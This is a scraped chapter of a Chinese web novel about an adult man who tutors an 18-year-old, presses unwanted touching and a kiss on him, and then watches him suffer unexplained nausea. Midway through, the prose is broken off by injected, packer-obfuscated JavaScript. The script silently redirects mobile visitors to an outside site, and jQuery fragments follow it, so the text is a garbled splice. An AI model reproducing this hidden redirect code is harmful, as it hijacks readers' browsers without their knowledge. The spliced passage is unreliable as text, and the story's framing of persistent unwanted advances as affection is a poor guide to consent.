文趣网 > 都市小说 > 可怜捞子被美校Daddy强宠 > 20.第 20 章
    元饱不是不通人事的小孩,所以再补课的时候,搬着椅子,坐到书桌最靠边的位置。

    脊背贴着冰凉的墙面,故意和特兰斯拉开一大段距离。

    两人中间空出的距离,应该可以再开一家蜜雪冰城。

    元饱垂着眉眼,假装认真翻看自己的课本,余光却时时刻刻留意着身侧男人的动静,整个人像一只炸毛的小兔子,随时随地都准备蹦起逃走。

    特兰斯淡淡扫了元饱一眼,没有拆穿他幼稚的防备。

    反而拿起笔,平铺摊开习题册,继续讲解未讲完的知识点。

    特兰斯虽然是个老流氓,但是他认真的时候,讲课非常丝滑。

    元饱渐渐在他这里学到了很多东西,他心态放平,耳中只剩下男人讲课的声音。

    笔尖划过纸张,在这个安静的室内,十八岁的元饱对世界的了解又多了一点。

    没讲几分钟,特兰斯似乎有点渴了,他端着两个水杯回来,自然而然落脚。

    这一下,直接坐在元饱身侧位置。

    两个人之间的距离瞬间被拉近,成熟男人的温热气息再度朝着元饱笼罩过来。

    元饱大脑一片空白,身体僵硬,下意识往旁边挪了半寸。

    特兰斯像是猎人,盯上逃窜的猎物,不动声色地又往他身边靠了靠。

    男人的膝盖几乎要碰到元饱肉感十足的大腿,正在慢条斯理地蚕食少年的安全距离。

    几次拉扯下来,元饱心底那点隐忍的脾气终于被磨出火。

    什么补课,什么老师,他不学了!

    再学下去,衣服都要被扒光啦!

    少年干脆直接站起身,抱紧厚重的教科书和习题册,踩着柔软的地毯走到一旁的沙发上,憋着气说:“我在这里写,这里舒服。”

    写困了还能直接躺下睡觉……嗯!

    特兰斯单手撑着桌面,身姿慵懒,目光落在少年生气的后脑勺,慢悠悠开口:“那里灯光偏暗,长时间低头做题的话,对眼睛不好。亲爱的,你想在这个年纪就带上厚重的眼镜片吗?”

    “灯光又不重要……”元饱不理他,他只是想要躲开男人刻意的靠近罢了!

    自己都这么明确的躲避了,特兰斯总该不好意思了吧?

    但是元饱高估了Daddy的“爱意”和属于男人的厚脸皮。

    元饱安静不过两分钟。

    沙发一侧微微下陷。

    特兰斯还是等不及,直接走过来坐在他一旁。

    男人单手搭在沙发靠背上方,臂展恰好圈住元饱的后背。

    轻轻松松,又把人拢进自己的管辖范围之内。

    小兔子根本无处可逃。

    元饱无奈地叹了口气,鼓起勇气瞪向特兰斯,“Daddy,你到底要不要教我了?”

    那双圆眼睛澄澈水润,眼尾自然泛红。

    本是带着怒气的眼神,落在男人眼里,反倒软糯无害,没有半点威慑力。

    特兰斯唇角勾起一抹浅淡的笑意,把元饱额前那几根碎发拨到一边,“教,当然教。可你离我那么远,我怎么教?”

    他的语气很认真,要不是额头上的手又在乱揉他的眉毛,元饱差点就信了。

    少年一口气堵在胸口,上不去也下不来,只能把课本举起来挡住自己的脸,用书背对着特兰斯,瓮声瓮气道:“那你讲课吧!”

    小兔子没办法抗争大灰狼,只能笨笨地把自己藏起来。

    特兰斯摊开手,讲了一会儿课,又忍不住借着讲题的时间,靠近元饱。

    捏一下胳膊,“这里听懂了吗?”

    “没关系,Daddy再给你讲一遍,讲无数遍,都可以。”亲一口小脸蛋。

    ……

    几轮拉锯结束,元饱头发翘起来了,衣服也乱了。

    最后瘫靠在沙发软垫上,麻木地看着男人随便表演。

    呵,男人。

    呵。男人!

    时间一点点流逝,墙上的挂钟悄无声息迈入深夜十一点。

    元饱捏着笔,困意汹涌袭来,接连打了好几个哈欠。

    他收拾好课本和笔,伸了个懒腰,“Daddy,我要睡觉了。”

    不学啦不学啦,今天就到此为止,再学下去他要去读常春藤了。

    特兰斯合上手里的教辅书,点头,“是该睡了。”

    下一秒,他直接把少年抱起来。

    元饱的毛绒拖鞋都掉在地毯上。

    “你干什么!”元饱被这一下直接吓清醒了。

    特兰斯歪头,“睡觉啊。”

    元饱:“……”

    那就放他下来,一起去睡觉啊!

    特兰斯哈哈一笑,掂着小兔子回去睡觉。

    卧室只开着一盏微弱的床头夜灯。

    元饱躺进柔软的被褥,下意识把被子拉高,遮到下巴。

    这是他惯用的躲藏小妙招,但是还没等他调整好睡姿,特兰斯就直接躺进来。

    温热的男人身躯在身后紧贴,特兰斯的手臂从元饱的腰侧穿过,稳稳环住腰身,把人牢牢禁锢在怀里。

    “今天学得不错。马上就要期末考试了,明天继续吧。”特兰斯的嗓音磁性沙哑,气息拂过元饱的后脖颈,激起一层细密的鸡皮疙瘩。

    “嗯……”元饱含糊应声,整个人软在男人怀里。

    “今天这么辛苦,奖励Daddy一下吧。”

    没等元饱反应过来,特兰斯已经轻轻捏住他的下颌,将他的脸转过来。

    特兰斯得眼底晦暗深沉,在昏暗的灯光下,碧色瞳孔泛着淡淡的冷光,此刻却满满都是对眼前少年的占有欲。

    下一瞬,一双薄唇覆上来。

    唇瓣厮磨,轻柔碾压。

    舌尖抵开唇缝,探入口腔,缓慢纠缠搅动。

    呼吸相互缠绕下,元饱被吻得四肢发软,大脑彻底一片空白,只能被动承受特兰斯温柔又强势的亲吻。

    不知道僵持了多久,特兰斯才缓缓退开。

    他的额头抵着元饱的额头,气息略微急促。

    元饱大口大口喘息,唇瓣被吻得微微肿胀。

    他刚要埋怨特兰斯不让他睡觉,胃里就开始猛烈地痉挛抽搐。

    浓重的酸涩液体不受控制地往喉咙里涌,元饱没有丝毫犹豫,猛地抬手推开身前的男人,跌跌撞撞冲向浴室。

    “呕……”元饱跪在马桶边缘,胃里的东西尽数翻涌而出。

    酸涩的胃液灼烧喉咙,泛着苦涩的痛感。

    元饱感觉自己吐了好久,才能按下冲水键。

    这已经不是第一次了。

    近两周以来,这种突如其来的恶心干呕频繁发作,而且毫无规律。

    他起初以为是普通的胃病,按时服用药物却没有半点好转。

    后来又归咎于备考压力过大,但是没想到问题这么严重……现在只是一个亲密的吻,都能诱发剧烈的反胃。

    元饱盯着自己有些颤抖的手指,心底莫名发慌。

    自己是不是得了什么难以根治的重病……要,要告诉特兰斯吗?

    特兰斯一直等在门口,“元饱?”

    元饱刚刚锁了门,他进不去,只能一直在门口听元饱的动静。

    但是洗手间隔音太好,他什么都听不到。

    元饱爬起来打开门,特兰斯快步上前,手掌直接覆在元饱的额头上。

    温度微凉,没有发烧。

    可少年露在外面的双手,依然抖个不停。

    “怎么回事?”特兰斯递给元饱一块毛巾,“你最近好像总

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17611969|204796||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    是突然想吐?”

    元饱扯出一抹浅淡的笑容,整个人虚弱又苍白:“没事……应该是晚上吃多了,消化不良。”

    特兰斯的眉头几不可查地蹙起。

    “明天去私人诊所做检查。”事关元饱的身体情况,特兰斯没有任何商量的余地。

    “不用了,真的没事——”

    “听话!”

    特兰斯不给元饱讨价还价的机会。

    元饱抱住特兰斯紧实的腰身,脸颊贴在柔软的睡袍上,哀求道:“Daddy,我真的不用看医生。我马上就要考试了,我不想分心。我身体真的没事,等考完试好不好?下个月家庭医生本来就会上门做体检,我发誓,到时候一定乖乖检查。”

    他现在好不容易刚过上安稳的生活,一切都在朝着更好的方向发展,他不想去看医生,也不敢看医生。

    如果查出什么绝症,特兰斯一定会抛弃他的,一定会!

    特兰斯看向怀里慌张怯懦的少年,碧色眼眸里满是狐疑,“你确定自己真的没事?”

    元饱用力点头,蹦了蹦,“我确定,我没有骗你。你看,我这不是好好的吗?”

    元饱抬起头看着特兰斯,眼眶红红的,睫毛上还挂着一点水光。

    他伸出三根手指,像在法庭上发誓那样,“我发誓。等我考完试,一定去看。如果我不去,就罚我……罚我今年没办法申请大学。”

    元饱如此坚持,特兰斯终究心软妥协。

    特兰斯把那三根手指按下去,握在掌心,“好。”

    男人将坐在冷硬地面上的少年打横抱起,“但是答应Daddy,要是再出现这种情况,不许隐瞒,必须去医院。”

    元饱埋在他温热的怀里,悄悄松了一口气,乖巧应声。

    特兰斯把他抱回床上,元饱缩了缩脖子。

    特兰斯还是以刚才的姿势,把元饱紧紧拥抱在怀中。

    “睡吧。”

    特兰斯的声音在黑暗中响起,声音似乎闷在元宝的头发里,低沉又温柔。

    元饱闭着眼睛,他不知道自己有没有生病,但是他下意识摸了摸自己的肚子。

    不知道从什么时候开始,他总是不自觉地把手放在自己的肚子上。

    他的小腹平坦,什么都没有,瘪瘪的。

    可是元饱就感觉自己的肚子不对劲,里面似乎有别的东西……

    难道……是瘤?!

    该死的……他不会真的绝症了吧?

    元饱睁着眼睛,巨大的压力让他喘不过气。

    一周后,学校正式进入期末考试周。

    安排的学习节奏压得人喘不过气。

    学校虽然是私立学校,但对学分的把控非常严格,一直保持着高升学率。

    所以一旦挂科,补考难度会更高。

    每个人都在课堂上抓耳挠腮,连平时喜欢讽刺元饱的那几个人都没时间继续来捣乱了。

    元饱这段时间一直昏沉乏力,脑子像蒙着一层厚重的雾,有时候看印刷工整的外文字母,都会感觉字母在轻微晃动。

    考试考到一半,熟悉的反胃感骤然翻涌上来。

    胃部不受控制地抽搐,元饱死死咬住下唇,扶着墙壁,直冲进男生洗手间。

    水龙头流出来的凉水并不能压下胃部的反胃。

    元饱趴在洗手台边,持续性剧烈干呕。

    胃里空空荡荡的,根本没有食物可以吐出,只有酸涩的胃液正在灼烧食道。

    易森担心元饱的情况,追出来,正好听到里面压抑的动静。

    少年手里攥着一瓶常温矿泉水,眉头死死皱着,他看着元饱惨白的侧脸,拧开瓶盖,把水递到他手边,“元,你已经这样吐了一个多星期了。你老实告诉我,身体到底有没有问题?”